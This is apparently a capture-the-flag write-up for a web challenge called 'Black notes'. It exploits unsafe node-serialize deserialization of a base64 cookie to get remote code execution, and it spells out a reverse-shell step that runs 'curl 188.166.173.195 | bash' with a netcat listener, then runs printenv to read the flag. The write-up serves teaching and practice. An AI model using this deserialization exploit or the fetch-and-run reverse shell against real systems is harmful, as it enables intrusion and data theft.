For the complete documentation index, see llms.txt. This page is also available as Markdown.

Black notes

Difficulty

Medium

Points

250

Description

We created this website for hackers to save thier payloads and notes in a secure way

Quick Analysis

After registration, the endpoint register return notes cookie, which is a base64 eyJub3RlcyI6eyIwIjoiU2FtcGxlIE5vdGUifX0= and redirect to /notes endpoint. The endpoint /notes rendered the registered username and Sample Note.

Decode the cookie value of notes eyJub3RlcyI6eyIwIjoiU2FtcGxlIE5vdGUifX0= using Base64 algorithm.

from base64 import b64encode, b64decode

notes_value = 'eyJub3RlcyI6eyIwIjoiU2FtcGxlIE5vdGUifX0='
b64decode(notes_value).decode()

The JSON object contains notes that are parsed and returned in the endpoint /notes.

Unhandeled Exception

What if the JSON object is unparsable.

Change the cookie value of notes then, reload the endpoint /notes.

From the exception, the endpoint /notes uses node-serialize to unserialize the object.

Exploitation

I assumed the application is vulnerable to unsafe deserialization, and this challenge is the same as the ZDITECH example [1].

Proof of concept

Since the endpoint /notes render the notes object, craft a function that returns 1; if the application is vulnerable, the endpoint /notes should return 1 on the page. Payload

Change the cookie value of notes then, reload the endpoint /notes. After reloading the endpoint /notes, the payload executed and returned 1.

Reverse shell

Run an HTTP server on port 80

Create index.html with content

Payload

  • The function executes the command curl 188.166.173.195 | bash via exec function.

  • The command curl 188.166.173.195 | bash requests the index.html content from 188.166.173.195 via curl, then curl pipes the content of index.html to bash.

  • Start a netcat listener on port 443

Change the cookie value of notes then, reload the endpoint /notes to obtain a reverse shell.

The flag

Execute printenv command on the challenge server to get the flag.

References

  • https://zditect.com/code/javascript/exploiting-nodejs-deserialization-bug-for-remote-code-execution.html

Last updated